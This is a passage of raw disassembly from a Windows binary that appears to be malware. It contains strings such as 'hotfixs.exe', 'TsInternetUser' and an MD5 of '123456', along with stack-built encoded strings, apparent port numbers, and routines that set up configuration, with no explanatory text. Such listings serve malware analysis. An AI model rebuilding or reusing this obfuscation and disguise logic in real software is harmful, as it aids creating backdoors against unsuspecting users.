lea ecx, [esp+360h+var_E4]
call sub_401A87
push offset aServec ; "servec"
lea ecx, [esp+360h+var_2AC]
call sub_401A87
push offset aHotfixs_exe ; "hotfixs.exe"
lea ecx, [esp+360h+var_204]
call sub_401A87
push offset aHoewrt ; "hoewrt"
lea ecx, [esp+360h+var_234]
call sub_401A87
push offset aTahy ; "TAHY-"
lea ecx, [esp+360h+var_2F4]
call sub_401A87
push offset aAbosal7 ; "abosal7"
lea ecx, [esp+360h+var_264]
call sub_401A87
push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
lea ecx, [esp+360h+var_27C]
call sub_401A87
push offset aAdmin_com ; "admin.com"
lea ecx, [esp+360h+var_15C]
call sub_401A87
push offset aTsinternetuser ; "TsInternetUser"
lea ecx, [esp+360h+var_114]
call sub_401A87
push offset dword_4437FC
lea ecx, [esp+360h+var_18C]
call sub_401A87
push offset dword_4437F8
lea ecx, [esp+360h+var_1EC]
call sub_401A87
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea ecx, [esp+384h+var_348]
push 46h
push ecx
call sub_4019B5
add esp, 30h
push eax
lea ecx, [esp+360h+var_144]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 18h
push 9
push 6
push 14h
push 0Fh
lea edx, [esp+3B0h+var_348]
push 8
push edx
call sub_4019B5
add esp, 5Ch
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 20h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 21h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea ecx, [esp+36Ch+var_348]
push 45h
push ecx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_24C]
mov byte ptr [esp+360h+var_4], 22h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea edx, [esp+368h+var_348]
push 46h
push edx
call sub_4019B5
add esp, 14h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea ecx, [esp+36Ch+var_348]
push 14h
push ecx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 25h
call sub_40200E
mov byte ptr [esp+35Ch+var_4], bl
lea ecx, [esp+35Ch+var_348]
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea edx, [esp+370h+var_348]
push 6
push edx
call sub_4019B5
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 26h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2AC]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+3D0h+var_348]
push 13h
push eax
mov byte ptr [esp+3D8h+var_4], 27h
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 28h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401861
lea ecx, [esi+0FECh]
mov byte ptr [esp+38Ch+var_4], 29h
push ecx
mov ecx, esi
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2C4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
mov byte ptr [esp+3D8h+var_4], 2Ah
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 2Bh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea eax, [esi+1035h]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 2Ch
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2DC]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+3C0h+var_348]
push 13h
push ecx
mov byte ptr [esp+3C8h+var_4], 2Dh
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 2Eh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea edx, [esi+0FA3h]
mov ecx, esi
push edx
mov byte ptr [esp+390h+var_4], 2Fh
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_174]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+3C8h+var_348]
push 13h
push eax
mov byte ptr [esp+3D0h+var_4], 30h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+374h+var_4], 31h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea ecx, [esi+0F5Ah]
mov byte ptr [esp+38Ch+var_4], 32h
push ecx
mov ecx, esi
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
mov byte ptr [esp+374h+var_4], 33h
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D8h+var_348]
push 13h
push edx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+374h+var_4], 34h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+390h+var_4], 35h
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_1BC]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3D0h+var_4], 36h
push 13h
lea eax, [esp+3D4h+var_348]
push eax
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 37h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea ecx, [esi+0F11h]
mov byte ptr [esp+38Ch+var_4], 38h
push ecx
mov ecx, esi
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_318]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3CCh+var_348]
push 13h
push edx
mov byte ptr [esp+3D4h+var_4], 39h
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 3Ah
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea eax, [esi+107Eh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 3Bh
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_34C]
mov [esp+35Ch+var_34C], edi
push ecx
mov ecx, offset byte_4D637F
call sub_401A5F
lea ecx, [esp+35Ch+var_2AC]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
mov byte ptr [esp+3D8h+var_4], 3Ch
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 3Dh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea eax, [esi+1234h]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 3Eh
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2C4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
mov byte ptr [esp+3B8h+var_4], 3Fh
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+3D0h+var_348]
push 13h
push ecx
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 40h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea edx, [esi+127Dh]
mov ecx, esi
push edx
mov byte ptr [esp+390h+var_4], 41h
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_1D4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+3C0h+var_348]
push 13h
push eax
mov byte ptr [esp+3C8h+var_4], 42h
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 43h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea ecx, [esi+11EBh]
mov byte ptr [esp+38Ch+var_4], 44h
push ecx
mov ecx, esi
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_1A4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3C8h+var_348]
push 13h
push edx
mov byte ptr [esp+3D0h+var_4], 45h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+374h+var_4], 46h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea eax, [esi+11A2h]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 47h
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
mov byte ptr [esp+3C4h+var_4], 48h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+3D8h+var_348]
push 13h
push ecx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+374h+var_4], 49h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+390h+var_4], 4Ah
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_294]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
mov byte ptr [esp+3D8h+var_4], 4Bh
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 4Ch
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea eax, [esi+1159h]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 4Dh
call sub_401CC1
mov byte ptr [esp+35Ch+var_4], bl
lea ecx, [esp+35Ch+var_348]
call sub_401226
lea ecx, [esp+35Ch+var_318]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_350], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+3CCh+var_348]
push 13h
push ecx
mov byte ptr [esp+3D4h+var_4], 4Eh
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 4Fh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_34C], esp
push eax
call sub_401861
lea edx, [esi+12C6h]
mov ecx, esi
push edx
mov byte ptr [esp+390h+var_4], 50h
call sub_401CC1
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea eax, [esp+35Ch+var_34C]
mov ecx, offset byte_4D637F
push eax
mov [esp+360h+var_34C], edi
call sub_401A5F
push offset byte_446F60
push offset word_4E6E8A
call sub_40102D
add esp, 8
lea ecx, [esp+35Ch+var_12C]
call sub_401424
lea ecx, [esp+35Ch+var_FC]
mov byte ptr [esp+35Ch+var_4], 51h
call sub_401424
push 56D2h
push 539h
mov byte ptr [esp+364h+var_4], 52h
call sub_4021A3
sub_407790 endp
; ---------------------------------------------------------------------------
add esp, 8
lea ecx, [esp+230h]
push eax
push offset dword_4437F4
push ecx
call sub_40102D
push 56D2h
push 539h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 14h
lea edx, [esp+260h]
push eax
push offset dword_4437F4
push edx
call sub_40102D
sub esp, 0Ch
lea eax, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4014C9
lea ecx, [esi+606h]
push ecx
mov ecx, esi
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
mov ecx, esp
lea edx, [esp+44h]
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+230h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
lea edx, [esp+2C0h]
push edx
call sub_4014C9
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+290h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E6E8A
call sub_4014C9
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B2C
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+140h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B2C
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B2C
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
call sub_4017E4
push eax
push offset byte_44741D
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 1B6h
call sub_4017E4
push eax
push offset dword_4473D4
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
call sub_4017E4
push eax
push offset dword_4472B0
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 124h
call sub_4017E4
push eax
push offset word_447342
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 0DBh
call sub_4017E4
push eax
push offset byte_4472F9
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 92h
call sub_4017E4
push eax
push offset byte_44738B
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
call sub_4017E4
push eax
push offset byte_4474AF
mov ecx, offset word_448D06
call sub_401596
lea ecx, [esp+248h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
lea ecx, [esp+218h]
mov byte ptr [esp+370h], 53h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+8Ch], esp
push eax
call sub_401861
lea ecx, [esp+110h]
mov byte ptr [esp+388h], 54h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0A8h], esp
push eax
call sub_401861
lea ecx, [esp+140h]
mov byte ptr [esp+3A0h], 55h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0C4h], esp
push eax
call sub_401861
mov ecx, offset word_448C8E
mov byte ptr [esp+3B8h], 52h
call sub_40137F
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+98h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 1
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+1E8h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 5C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409450 proc near ; CODE XREF: sub_40146Aj
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401974
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409468
mov ecx, esi
call sub_40190B
loc_409468: ; CODE XREF: sub_409450+Fj
mov ecx, esi
call sub_401A37
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409450 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409490 proc near ; CODE XREF: sub_401A5Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_40168B
pop esi
retn 4
sub_409490 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094C0 proc near ; CODE XREF: sub_401A37j
mov eax, [ecx+4]
retn
sub_4094C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094E0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4094E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409500 proc near ; CODE XREF: sub_401974j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40950A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40950A: ; CODE XREF: sub_409500+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_409500 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_40168Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A37
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401B9A
mov ecx, edi
call sub_401A37
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409530 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409580: ; CODE XREF: sub_40190Bj
push 0FFFFFFFFh
push (offset loc_438A38+1)
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_43F080
push edx
call sub_436832
nop
nop
